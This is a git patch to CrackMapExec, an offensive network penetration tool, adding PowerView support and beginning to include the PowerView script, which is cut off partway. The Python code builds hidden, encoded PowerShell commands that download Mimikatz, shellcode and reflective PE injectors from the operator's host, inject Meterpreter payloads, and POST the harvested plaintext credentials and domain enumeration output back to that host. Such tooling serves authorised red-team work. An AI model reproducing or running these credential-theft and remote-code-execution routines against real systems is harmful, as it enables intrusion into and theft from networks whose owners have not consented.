From c9bb82fb4503de3927e90199099c0ff63875fc67 Mon Sep 17 00:00:00 2001 From: byt3bl33d3r Date: Thu, 19 Nov 2015 18:13:32 -0700 Subject: [PATCH] Initial PowerView integration, for some reason only works when using smbexec as the execution method, so for now it's forced to that Fixed a bug where forcing Powershell code to run in a 32bit process would cause a rpc_access_denied error message Made Mimikatz parser output more consistent Made wmiexec and smbexec output more consistent --- core/executor.py | 10 +- core/maingreenlet.py | 26 +- core/powershell.py | 52 +- core/scripts/smbexec.py | 5 +- core/scripts/wmiexec.py | 9 +- core/servers/mimikatz.py | 47 +- crackmapexec.py | 9 +- hosted/powerview.ps1 | 10938 +++++++++++++++++++++++++++++++++++++ 8 files changed, 11041 insertions(+), 55 deletions(-) create mode 100644 hosted/powerview.ps1 diff --git a/core/executor.py b/core/executor.py index 3b1686f6..31282a69 100644 --- a/core/executor.py +++ b/core/executor.py @@ -8,10 +8,10 @@ class EXECUTOR: """Yes, I know this sounds like the pokemon... deal with it""" - def __init__(self, command, host, domain, noOutput, smbconnection): + def __init__(self, command, host, domain, noOutput, smbconnection, method): - if settings.args.execm == 'wmi': - wmi_exec = WMIEXEC(command, + if method == 'wmi': + wmi_exec = WMIEXEC(command, settings.args.user, settings.args.passwd, domain, @@ -22,7 +22,7 @@ class EXECUTOR: settings.args.kerb) wmi_exec.run(host, smbconnection) - elif settings.args.execm == 'smbexec': + elif method == 'smbexec': smb_exec = SMBEXEC(command, '{}/SMB'.format(settings.args.port), settings.args.user, @@ -36,7 +36,7 @@ class EXECUTOR: noOutput) smb_exec.run(host) - elif settings.args.execm == 'atexec': + elif method == 'atexec': atsvc_exec = TSCH_EXEC(command, settings.args.user, settings.args.passwd, diff --git a/core/maingreenlet.py b/core/maingreenlet.py index 3ceda533..6e6b1556 100644 --- a/core/maingreenlet.py +++ b/core/maingreenlet.py @@ -168,29 +168,35 @@ def connect(host): wdigest.disable() if settings.args.command: - EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb) + EXECUTOR(settings.args.command, host, domain, settings.args.no_output, smb, settings.args.execm) if settings.args.pscommand: - EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb) + EXECUTOR(ps_command(settings.args.pscommand), host, domain, settings.args.no_output, smb, settings.args.execm) if settings.args.mimikatz: - powah_command = PowerSploit(settings.args.server, local_ip) - EXECUTOR(powah_command.mimikatz(), host, domain, True, smb) + powah_command = PowerShell(settings.args.server, local_ip) + EXECUTOR(powah_command.mimikatz(), host, domain, True, smb, settings.args.execm) if settings.args.mimikatz_cmd: - powah_command = PowerSploit(settings.args.server, local_ip) - EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb) + powah_command = PowerShell(settings.args.server, local_ip) + EXECUTOR(powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, smb, settings.args.execm) + + if settings.args.powerview: + #For some reason powerview functions only seem to work when using smbexec... + #I think we might have a mistery on our hands boys and girls! + powah_command = PowerShell(settings.args.server, local_ip) + EXECUTOR(powah_command.powerview(settings.args.powerview), host, domain, True, smb, 'smbexec') if settings.args.inject: - powah_command = PowerSploit(settings.args.server, local_ip) + powah_command = PowerShell(settings.args.server, local_ip) if settings.args.inject.startswith('met_'): - EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb) + EXECUTOR(powah_command.inject_meterpreter(), host, domain, True, smb, settings.args.execm) if settings.args.inject == 'shellcode': - EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb) + EXECUTOR(powah_command.inject_shellcode(), host, domain, True, smb, settings.args.execm) if settings.args.inject == 'dll' or settings.args.inject == 'exe': - EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb) + EXECUTOR(powah_command.inject_exe_dll(), host, domain, True, smb, settings.args.execm) try: smb.logoff() except: diff --git a/core/powershell.py b/core/powershell.py index 02bddfed..976eeb86 100644 --- a/core/powershell.py +++ b/core/powershell.py @@ -9,17 +9,16 @@ def ps_command(command): command = "[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + command if settings.args.force_ps32: - logging.info('Wrapping the following PS command in a PS32 IEX cradle: ' + command) - command = 'IEX "$Env:windir\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}"'.format(b64encode(command.encode('UTF-16LE'))) + logging.info('Forcing the following command to execute in a 32bit PS process: ' + command) + command = '%SystemRoot%\\SysWOW64\\WindowsPowershell\\v1.0\\powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE'))) + else: + command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(b64encode(command.encode('UTF-16LE'))) + + logging.info('Full PS command: ' + command) - base64_command = b64encode(command.encode('UTF-16LE')) + return command - logging.info('Full PS command to be encoded: ' + command) - ps_command = 'powershell.exe -exec bypass -window hidden -noni -nop -encoded {}'.format(base64_command) - - return ps_command - -class PowerSploit: +class PowerShell: """ https://www.youtube.com/watch?v=nm6DO_7px1I @@ -29,15 +28,13 @@ class PowerSploit: self.localip = localip self.protocol = server self.func_name = settings.args.obfs_func_name - if server == 'smb': - self.protocol = 'file' def mimikatz(self, command='privilege::debug sekurlsa::logonpasswords exit'): command = """ - IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/tmp/Invoke-Mimikatz.ps1'); + IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/Invoke-Mimikatz.ps1'); $creds = Invoke-{func_name} -Command '{katz_command}'; - $request = [System.Net.WebRequest]::Create('{protocol}://{addr}/tmp'); + $request = [System.Net.WebRequest]::Create('{protocol}://{addr}/'); $request.Method = 'POST'; $request.ContentType = 'application/x-www-form-urlencoded'; $bytes = [System.Text.Encoding]::ASCII.GetBytes($creds); @@ -52,9 +49,28 @@ class PowerSploit: return ps_command(command) + def powerview(self, command): + + command = """ + IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/powerview.ps1'); + $output = {view_command} | Out-String; + $request = [System.Net.WebRequest]::Create('{protocol}://{addr}/'); + $request.Method = 'POST'; + $request.ContentType = 'application/x-www-form-urlencoded'; + $bytes = [System.Text.Encoding]::ASCII.GetBytes($output); + $request.ContentLength = $bytes.Length; + $requestStream = $request.GetRequestStream(); + $requestStream.Write( $bytes, 0, $bytes.Length ); + $requestStream.Close(); + $request.GetResponse();""".format(protocol=self.protocol, + addr=self.localip, + view_command=command) + + return ps_command(command) + def inject_meterpreter(self): command = """ - IEX (New-Object Net.WebClient).DownloadString('{0}://{1}/tmp/Invoke-Shellcode.ps1'); + IEX (New-Object Net.WebClient).DownloadString('{0}://{1}/Invoke-Shellcode.ps1'); Invoke-{2} -Force -Payload windows/meterpreter/{3} -Lhost {4} -Lport {5}""".format(self.protocol, self.localip, self.func_name, @@ -70,9 +86,9 @@ class PowerSploit: def inject_shellcode(self): command = """ - IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/tmp/Invoke-Shellcode.ps1'); + IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/Invoke-Shellcode.ps1'); $WebClient = New-Object System.Net.WebClient; - [Byte[]]$bytes = $WebClient.DownloadData('{protocol}://{addr}/tmp2/{shellcode}'); + [Byte[]]$bytes = $WebClient.DownloadData('{protocol}://{addr}/{shellcode}'); Invoke-{func_name} -Force -Shellcode $bytes""".format(protocol=self.protocol, func_name=self.func_name, addr=self.localip, @@ -87,8 +103,8 @@ class PowerSploit: def inject_exe_dll(self): command = """ - IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/tmp/Invoke-ReflectivePEInjection.ps1'); - Invoke-{func_name} -PEUrl {protocol}://{addr}/tmp2/{pefile}""".format(protocol=self.protocol, + IEX (New-Object Net.WebClient).DownloadString('{protocol}://{addr}/Invoke-ReflectivePEInjection.ps1'); + Invoke-{func_name} -PEUrl {protocol}://{addr}/{pefile}""".format(protocol=self.protocol, func_name=self.func_name, addr=self.localip, pefile=settings.args.path.split('/')[-1]) diff --git a/core/scripts/smbexec.py b/core/scripts/smbexec.py index abbd7840..6f54b7e9 100755 --- a/core/scripts/smbexec.py +++ b/core/scripts/smbexec.py @@ -40,6 +40,7 @@ from core.servers.smbserver import SMBServer from impacket import version from impacket.smbconnection import * from impacket.dcerpc.v5 import transport, scmr +from StringIO import StringIO OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10)) BATCH_FILENAME = ''.join(random.sample(string.ascii_letters, 10)) + '.bat' @@ -234,5 +235,7 @@ class RemoteShell(cmd.Cmd): peer = ':'.join(map(str, self.__rpc.get_socket().getpeername())) print_succ("{} Executed command via SMBEXEC".format(peer)) if self.__noOutput is False: - print_att(self.__outputBuffer.strip()) + buf = StringIO(self.__outputBuffer.strip()).readlines() + for line in buf: + print_att(line.strip()) self.__outputBuffer = '' diff --git a/core/scripts/wmiexec.py b/core/scripts/wmiexec.py index 842eb615..65fc1b51 100755 --- a/core/scripts/wmiexec.py +++ b/core/scripts/wmiexec.py @@ -26,6 +26,7 @@ import logging import string import random import ntpath +import core.settings as settings from gevent import sleep from core.logger import * @@ -34,7 +35,7 @@ from impacket.smbconnection import SMBConnection, SMB_DIALECT, SMB2_DIALECT_002, from impacket.dcerpc.v5.dcomrt import DCOMConnection from impacket.dcerpc.v5.dcom import wmi from impacket.dcerpc.v5.dtypes import NULL -import core.settings as settings +from StringIO import StringIO OUTPUT_FILENAME = ''.join(random.sample(string.ascii_letters, 10)) @@ -218,7 +219,7 @@ class RemoteShell(cmd.Cmd): self.__transferClient.deleteFile(self.__share, self.__output) def execute_remote(self, data): - command = self.__shell + data + command = self.__shell + data if self.__noOutput is False: command += ' 1> ' + '\\\\127.0.0.1\\%s' % self.__share + self.__output + ' 2>&1' self.__win32Process.Create(command, self.__pwd, None) @@ -229,5 +230,7 @@ class RemoteShell(cmd.Cmd): print_succ('{}:{} Executed command via WMIEXEC'.format(self.__win32Process.get_target(), settings.args.port)) if self.__noOutput is False: - print_att(self.__outputBuffer.strip()) + buf = StringIO(self.__outputBuffer.strip()).readlines() + for line in buf: + print_att(line.strip()) self.__outputBuffer = '' \ No newline at end of file diff --git a/core/servers/mimikatz.py b/core/servers/mimikatz.py index 664e614b..3d5c179d 100644 --- a/core/servers/mimikatz.py +++ b/core/servers/mimikatz.py @@ -18,20 +18,28 @@ class MimikatzServer(BaseHTTPRequestHandler): def log_message(self, format, *args): print_message("%s - - %s" % (self.client_address[0], format%args)) + def save_mimikatz_output(self, data): + log_name = 'Mimikatz-{}-{}.log'.format(self.client_address[0], datetime.now().strftime("%Y-%m-%d_%H:%M:%S")) + with open('logs/' + log_name, 'w') as creds: + creds.write(data) + print_status("{} Saved POST data to {}".format(self.client_address[0], yellow(log_name))) + def do_GET(self): - if self.path[5:].endswith('.ps1') and self.path[5:] in os.listdir('hosted'): + if self.path[1:].endswith('.ps1') and self.path[1:] in os.listdir('hosted'): self.send_response(200) self.end_headers() - with open('hosted/'+ self.path[4:], 'rb') as script: + with open('hosted/'+ self.path[1:], 'rb') as script: ps_script = script.read() - ps_script = eval(synopsis.sub('', repr(ps_script))) #Removes the synopsys - ps_script = func_name.sub(settings.args.obfs_func_name, ps_script) #Randomizes the function name - ps_script = comments.sub('', ps_script) #Removes the comments - #logging.info('Sending the following modified powershell script: {}'.format(ps_script)) + if self.path[1:] != 'powerview.ps1': + logging.info('Obfuscating Powershell script') + ps_script = eval(synopsis.sub('', repr(ps_script))) #Removes the synopsys + ps_script = func_name.sub(settings.args.obfs_func_name, ps_script) #Randomizes the function name + ps_script = comments.sub('', ps_script) #Removes the comments + #logging.info('Sending the following modified powershell script: {}'.format(ps_script)) self.wfile.write(ps_script) elif settings.args.path: - if self.path[6:] == settings.args.path.split('/')[-1]: + if self.path[1:] == settings.args.path.split('/')[-1]: self.send_response(200) self.end_headers() with open(settings.args.path, 'rb') as rbin: @@ -50,25 +58,36 @@ class MimikatzServer(BaseHTTPRequestHandler): if settings.args.mimikatz: try: buf = StringIO(data).readlines() + plaintext_creds = [] i = 0 while i < len(buf): if ('Password' in buf[i]) and ('(null)' not in buf[i]): passw = buf[i].split(':')[1].strip() domain = buf[i-1].split(':')[1].strip() user = buf[i-2].split(':')[1].strip() - print_succ('{} Found plain text creds! Domain: {} Username: {} Password: {}'.format(self.client_address[0], yellow(domain), yellow(user), yellow(passw))) + plaintext_creds.append('{}\\{}:{}'.format(domain, user, passw)) i += 1 + + if plaintext_creds: + print_succ('{} Found plain text credentials (domain\\user:password):'.format(self.client_address[0])) + for cred in plaintext_creds: + print_att(u'{}'.format(cred)) except Exception as e: print_error("Error while parsing Mimikatz output: {}".format(e)) - elif settings.args.mimi_cmd: - print_att(data) + self.save_mimikatz_output(data) - log_name = 'Mimikatz-{}-{}.log'.format(self.client_address[0], datetime.now().strftime("%Y-%m-%d_%H:%M:%S")) - with open('logs/' + log_name, 'w') as creds: - creds.write(data) - print_status("{} Saved POST data to {}".format(self.client_address[0], yellow(log_name))) + elif settings.args.mimikatz_cmd: + print_succ('{} Mimikatz command output:'.format(self.client_address[0])) + print_att(data) + self.save_mimikatz_output(data) + + elif settings.args.powerview: + print_succ('{} PowerView command output:'.format(self.client_address[0])) + buf = StringIO(data.strip()).readlines() + for line in buf: + print_att(line.strip()) def http_server(): http_server = BaseHTTPServer.HTTPServer(('0.0.0.0', 80), MimikatzServer) diff --git a/crackmapexec.py b/crackmapexec.py index baad7cc0..9080f7c1 100755 --- a/crackmapexec.py +++ b/crackmapexec.py @@ -59,7 +59,7 @@ parser = argparse.ArgumentParser(description=""" version='2.0 - {}'.format(CODENAME), epilog='There\'s been an awakening... have you felt it?') -parser.add_argument("-t", type=int, dest="threads", default=10, help="Set how many concurrent threads to use (defaults to 10)") +parser.add_argument("-t", type=int, dest="threads", default=100, help="Set how many concurrent threads to use (defaults to 100)") parser.add_argument("-u", metavar="USERNAME", dest='user', type=str, default=None, help="Username(s) or file containing usernames") parser.add_argument("-p", metavar="PASSWORD", dest='passwd', type=str, default=None, help="Password(s) or file containing passwords") parser.add_argument("-H", metavar="HASH", dest='hash', type=str, default=None, help='NTLM hash(es) or file containing NTLM hashes') @@ -95,6 +95,7 @@ egroup.add_argument("--users", action='store_true', dest='enum_users', help='Enu egroup.add_argument("--rid-brute", nargs='?', const=4000, metavar='MAX_RID', dest='rid_brute', help='Enumerate users by bruteforcing RID\'s (defaults to 4000)') egroup.add_argument("--pass-pol", action='store_true', dest='pass_pol', help='Dump password policy') egroup.add_argument("--lusers", action='store_true', dest='enum_lusers', help='Enumerate logged on users') +egroup.add_argument("--powerview", metavar='POWERVIEW_CMD', dest='powerview', help='Run the specified PowerView command') egroup.add_argument("--wmi", metavar='QUERY', type=str, dest='wmi_query', help='Issues the specified WMI query') sgroup = parser.add_argument_group("Spidering", "Options for spidering shares") @@ -107,7 +108,7 @@ sgroup.add_argument("--depth", type=int, default=10, help='Spider recursion dept cgroup = parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument('--execm', choices={"wmi", "smbexec", "atexec"}, default="wmi", help="Method to execute the command (default: wmi)") -cgroup.add_argument('--force-ps32', action='store_true', dest='force_ps32', help='Force all PowerShell code/commands to run in a 32bit process') +cgroup.add_argument('--force-ps32', action='store_true', dest='force_ps32', help='Forces all PowerShell code/commands to run in a 32bit process') cgroup.add_argument('--no-output', action='store_true', dest='no_output', help='Do not retrieve command output') cgroup.add_argument("-x", metavar="COMMAND", dest='command', help="Execute the specified command") cgroup.add_argument("-X", metavar="PS_COMMAND", dest='pscommand', help='Excute the specified powershell command') @@ -217,7 +218,7 @@ else: for target in args.target.split(','): targets.append(get_targets(target)) -if args.mimikatz or args.mimikatz_cmd or args.inject or args.ntds == 'ninja': +if args.mimikatz or args.powerview or args.mimikatz_cmd or args.inject or args.ntds == 'ninja': if args.server == 'http': http_server() @@ -238,7 +239,7 @@ def concurrency(targets): concurrency(targets) -if args.mimikatz or args.mimikatz_cmd or args.inject or args.ntds == 'ninja': +if args.mimikatz or args.powerview or args.mimikatz_cmd or args.inject or args.ntds == 'ninja': try: while True: sleep(1) diff --git a/hosted/powerview.ps1 b/hosted/powerview.ps1 new file mode 100644 index 00000000..155408ef --- /dev/null +++ b/hosted/powerview.ps1 @@ -0,0 +1,10938 @@ +#requires -version 2 + +<# + + PowerView v2.0.3 + + See README.md for more information. + + License: BSD 3-Clause + Author: @harmj0y + +#> + +######################################################## +# +# PSReflect code for Windows API access +# Author: @mattifestation +# https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 +# +######################################################## + +function New-InMemoryModule +{ +<# + .SYNOPSIS + + Creates an in-memory assembly and module + + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION + + When defining custom enums, structs, and unmanaged functions, it is + necessary to associate to an assembly module. This helper function + creates an in-memory module that can be passed to the 'enum', + 'struct', and Add-Win32Type functions. + + .PARAMETER ModuleName + + Specifies the desired name for the in-memory assembly and module. If + ModuleName is not provided, it will default to a GUID. + + .EXAMPLE + + $Module = New-InMemoryModule -ModuleName Win32 +#> + + Param + ( + [Parameter(Position = 0)] + [ValidateNotNullOrEmpty()] + [String] + $ModuleName = [Guid]::NewGuid().ToString() + ) + + $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies() + + ForEach ($Assembly in $LoadedAssemblies) { + if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { + return $Assembly + } + } + + $DynAssembly = New-Object Reflection.AssemblyName($ModuleName) + $Domain = [AppDomain]::CurrentDomain + $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, 'Run') + $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule($ModuleName, $False) + + return $ModuleBuilder +} + + +# A helper function used to reduce typing while defining function +# prototypes for Add-Win32Type. +function func +{ + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [String] + $DllName, + + [Parameter(Position = 1, Mandatory = $True)] + [String] + $FunctionName, + + [Parameter(Position = 2, Mandatory = $True)] + [Type] + $ReturnType, + + [Parameter(Position = 3)] + [Type[]] + $ParameterTypes, + + [Parameter(Position = 4)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention, + + [Parameter(Position = 5)] + [Runtime.InteropServices.CharSet] + $Charset, + + [Switch] + $SetLastError + ) + + $Properties = @{ + DllName = $DllName + FunctionName = $FunctionName + ReturnType = $ReturnType + } + + if ($ParameterTypes) { $Properties['ParameterTypes'] = $ParameterTypes } + if ($NativeCallingConvention) { $Properties['NativeCallingConvention'] = $NativeCallingConvention } + if ($Charset) { $Properties['Charset'] = $Charset } + if ($SetLastError) { $Properties['SetLastError'] = $SetLastError } + + New-Object PSObject -Property $Properties +} + + +function Add-Win32Type +{ +<# + .SYNOPSIS + + Creates a .NET type for an unmanaged Win32 function. + + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: func + + .DESCRIPTION + + Add-Win32Type enables you to easily interact with unmanaged (i.e. + Win32 unmanaged) functions in PowerShell. After providing + Add-Win32Type with a function signature, a .NET type is created + using reflection (i.e. csc.exe is never called like with Add-Type). + + The 'func' helper function can be used to reduce typing when defining + multiple function definitions. + + .PARAMETER DllName + + The name of the DLL. + + .PARAMETER FunctionName + + The name of the target function. + + .PARAMETER ReturnType + + The return type of the function. + + .PARAMETER ParameterTypes + + The function parameters. + + .PARAMETER NativeCallingConvention + + Specifies the native calling convention of the function. Defaults to + stdcall. + + .PARAMETER Charset + + If you need to explicitly call an 'A' or 'W' Win32 function, you can + specify the character set. + + .PARAMETER SetLastError + + Indicates whether the callee calls the SetLastError Win32 API + function before returning from the attributed method. + + .PARAMETER Module + + The in-memory module that will host the functions. Use + New-InMemoryModule to define an in-memory module. + + .PARAMETER Namespace + + An optional namespace to prepend to the type. Add-Win32Type defaults + to a namespace consisting only of the name of the DLL. + + .EXAMPLE + + $Mod = New-InMemoryModule -ModuleName Win32 + + $FunctionDefinitions = @( + (func kernel32 GetProcAddress ([IntPtr]) @([IntPtr], [String]) -Charset Ansi -SetLastError), + (func kernel32 GetModuleHandle ([Intptr]) @([String]) -SetLastError), + (func ntdll RtlGetCurrentPeb ([IntPtr]) @()) + ) + + $Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' + $Kernel32 = $Types['kernel32'] + $Ntdll = $Types['ntdll'] + $Ntdll::RtlGetCurrentPeb() + $ntdllbase = $Kernel32::GetModuleHandle('ntdll') + $Kernel32::GetProcAddress($ntdllbase, 'RtlGetCurrentPeb') + + .NOTES + + Inspired by Lee Holmes' Invoke-WindowsApi http://poshcode.org/2189 + + When defining multiple function prototypes, it is ideal to provide + Add-Win32Type with an array of function signatures. That way, they + are all incorporated into the same in-memory module. +#> + + [OutputType([Hashtable])] + Param( + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [String] + $DllName, + + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [String] + $FunctionName, + + [Parameter(Mandatory = $True, ValueFromPipelineByPropertyName = $True)] + [Type] + $ReturnType, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Type[]] + $ParameterTypes, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Runtime.InteropServices.CallingConvention] + $NativeCallingConvention = [Runtime.InteropServices.CallingConvention]::StdCall, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Runtime.InteropServices.CharSet] + $Charset = [Runtime.InteropServices.CharSet]::Auto, + + [Parameter(ValueFromPipelineByPropertyName = $True)] + [Switch] + $SetLastError, + + [Parameter(Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [ValidateNotNull()] + [String] + $Namespace = '' + ) + + BEGIN + { + $TypeHash = @{} + } + + PROCESS + { + if ($Module -is [Reflection.Assembly]) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.GetType("$Namespace.$DllName") + } + else + { + $TypeHash[$DllName] = $Module.GetType($DllName) + } + } + else + { + # Define one type for each DLL + if (!$TypeHash.ContainsKey($DllName)) + { + if ($Namespace) + { + $TypeHash[$DllName] = $Module.DefineType("$Namespace.$DllName", 'Public,BeforeFieldInit') + } + else + { + $TypeHash[$DllName] = $Module.DefineType($DllName, 'Public,BeforeFieldInit') + } + } + + $Method = $TypeHash[$DllName].DefineMethod( + $FunctionName, + 'Public,Static,PinvokeImpl', + $ReturnType, + $ParameterTypes) + + # Make each ByRef parameter an Out parameter + $i = 1 + ForEach($Parameter in $ParameterTypes) + { + if ($Parameter.IsByRef) + { + [void] $Method.DefineParameter($i, 'Out', $Null) + } + + $i++ + } + + $DllImport = [Runtime.InteropServices.DllImportAttribute] + $SetLastErrorField = $DllImport.GetField('SetLastError') + $CallingConventionField = $DllImport.GetField('CallingConvention') + $CharsetField = $DllImport.GetField('CharSet') + if ($SetLastError) { $SLEValue = $True } else { $SLEValue = $False } + + # Equivalent to C# version of [DllImport(DllName)] + $Constructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor([String]) + $DllImportAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($Constructor, + $DllName, [Reflection.PropertyInfo[]] @(), [Object[]] @(), + [Reflection.FieldInfo[]] @($SetLastErrorField, $CallingConventionField, $CharsetField), + [Object[]] @($SLEValue, ([Runtime.InteropServices.CallingConvention] $NativeCallingConvention), ([Runtime.InteropServices.CharSet] $Charset))) + + $Method.SetCustomAttribute($DllImportAttribute) + } + } + + END + { + if ($Module -is [Reflection.Assembly]) + { + return $TypeHash + } + + $ReturnTypes = @{} + + ForEach ($Key in $TypeHash.Keys) + { + $Type = $TypeHash[$Key].CreateType() + + $ReturnTypes[$Key] = $Type + } + + return $ReturnTypes + } +} + + +function psenum +{ +<# + .SYNOPSIS + + Creates an in-memory enumeration for use in your PowerShell session. + + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None + + .DESCRIPTION + + The 'psenum' function facilitates the creation of enums entirely in + memory using as close to a "C style" as PowerShell will allow. + + .PARAMETER Module + + The in-memory module that will host the enum. Use + New-InMemoryModule to define an in-memory module. + + .PARAMETER FullName + + The fully-qualified name of the enum. + + .PARAMETER Type + + The type of each enum element. + + .PARAMETER EnumElements + + A hashtable of enum elements. + + .PARAMETER Bitfield + + Specifies that the enum should be treated as a bitfield. + + .EXAMPLE + + $Mod = New-InMemoryModule -ModuleName Win32 + + $ImageSubsystem = psenum $Mod PE.IMAGE_SUBSYSTEM UInt16 @{ + UNKNOWN = 0 + NATIVE = 1 # Image doesn't require a subsystem. + WINDOWS_GUI = 2 # Image runs in the Windows GUI subsystem. + WINDOWS_CUI = 3 # Image runs in the Windows character subsystem. + OS2_CUI = 5 # Image runs in the OS/2 character subsystem. + POSIX_CUI = 7 # Image runs in the Posix character subsystem. + NATIVE_WINDOWS = 8 # Image is a native Win9x driver. + WINDOWS_CE_GUI = 9 # Image runs in the Windows CE subsystem. + EFI_APPLICATION = 10 + EFI_BOOT_SERVICE_DRIVER = 11 + EFI_RUNTIME_DRIVER = 12 + EFI_ROM = 13 + XBOX = 14 + WINDOWS_BOOT_APPLICATION = 16 + } + + .NOTES + + PowerShell purists may disagree with the naming of this function but + again, this was developed in such a way so as to emulate a "C style" + definition as closely as possible. Sorry, I'm not going to name it + New-Enum. :P +#> + + [OutputType([Type])] + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 1, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [String] + $FullName, + + [Parameter(Position = 2, Mandatory = $True)] + [Type] + $Type, + + [Parameter(Position = 3, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + [Hashtable] + $EnumElements, + + [Switch] + $Bitfield + ) + + if ($Module -is [Reflection.Assembly]) + { + return ($Module.GetType($FullName)) + } + + $EnumType = $Type -as [Type] + + $EnumBuilder = $Module.DefineEnum($FullName, 'Public', $EnumType) + + if ($Bitfield) + { + $FlagsConstructor = [FlagsAttribute].GetConstructor(@()) + $FlagsCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($FlagsConstructor, @()) + $EnumBuilder.SetCustomAttribute($FlagsCustomAttribute) + } + + ForEach ($Key in $EnumElements.Keys) + { + # Apply the specified enum type to each element + $Null = $EnumBuilder.DefineLiteral($Key, $EnumElements[$Key] -as $EnumType) + } + + $EnumBuilder.CreateType() +} + + +# A helper function used to reduce typing while defining struct +# fields. +function field +{ + Param + ( + [Parameter(Position = 0, Mandatory = $True)] + [UInt16] + $Position, + + [Parameter(Position = 1, Mandatory = $True)] + [Type] + $Type, + + [Parameter(Position = 2)] + [UInt16] + $Offset, + + [Object[]] + $MarshalAs + ) + + @{ + Position = $Position + Type = $Type -as [Type] + Offset = $Offset + MarshalAs = $MarshalAs + } +} + + +function struct +{ +<# + .SYNOPSIS + + Creates an in-memory struct for use in your PowerShell session. + + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: field + + .DESCRIPTION + + The 'struct' function facilitates the creation of structs entirely in + memory using as close to a "C style" as PowerShell will allow. Struct + fields are specified using a hashtable where each field of the struct + is comprosed of the order in which it should be defined, its .NET + type, and optionally, its offset and special marshaling attributes. + + One of the features of 'struct' is that after your struct is defined, + it will come with a built-in GetSize method as well as an explicit + converter so that you can easily cast an IntPtr to the struct without + relying upon calling SizeOf and/or PtrToStructure in the Marshal + class. + + .PARAMETER Module + + The in-memory module that will host the struct. Use + New-InMemoryModule to define an in-memory module. + + .PARAMETER FullName + + The fully-qualified name of the struct. + + .PARAMETER StructFields + + A hashtable of fields. Use the 'field' helper function to ease + defining each field. + + .PARAMETER PackingSize + + Specifies the memory alignment of fields. + + .PARAMETER ExplicitLayout + + Indicates that an explicit offset for each field will be specified. + + .EXAMPLE + + $Mod = New-InMemoryModule -ModuleName Win32 + + $ImageDosSignature = psenum $Mod PE.IMAGE_DOS_SIGNATURE UInt16 @{ + DOS_SIGNATURE = 0x5A4D + OS2_SIGNATURE = 0x454E + OS2_SIGNATURE_LE = 0x454C + VXD_SIGNATURE = 0x454C + } + + $ImageDosHeader = struct $Mod PE.IMAGE_DOS_HEADER @{ + e_magic = field 0 $ImageDosSignature + e_cblp = field 1 UInt16 + e_cp = field 2 UInt16 + e_crlc = field 3 UInt16 + e_cparhdr = field 4 UInt16 + e_minalloc = field 5 UInt16 + e_maxalloc = field 6 UInt16 + e_ss = field 7 UInt16 + e_sp = field 8 UInt16 + e_csum = field 9 UInt16 + e_ip = field 10 UInt16 + e_cs = field 11 UInt16 + e_lfarlc = field 12 UInt16 + e_ovno = field 13 UInt16 + e_res = field 14 UInt16[] -MarshalAs @('ByValArray', 4) + e_oemid = field 15 UInt16 + e_oeminfo = field 16 UInt16 + e_res2 = field 17 UInt16[] -MarshalAs @('ByValArray', 10) + e_lfanew = field 18 Int32 + } + + # Example of using an explicit layout in order to create a union. + $TestUnion = struct $Mod TestUnion @{ + field1 = field 0 UInt32 0 + field2 = field 1 IntPtr 0 + } -ExplicitLayout + + .NOTES + + PowerShell purists may disagree with the naming of this function but + again, this was developed in such a way so as to emulate a "C style" + definition as closely as possible. Sorry, I'm not going to name it + New-Struct. :P +#> + + [OutputType([Type])] + Param + ( + [Parameter(Position = 1, Mandatory = $True)] + [ValidateScript({($_ -is [Reflection.Emit.ModuleBuilder]) -or ($_ -is [Reflection.Assembly])})] + $Module, + + [Parameter(Position = 2, Mandatory = $True)] + [ValidateNotNullOrEmpty()] + 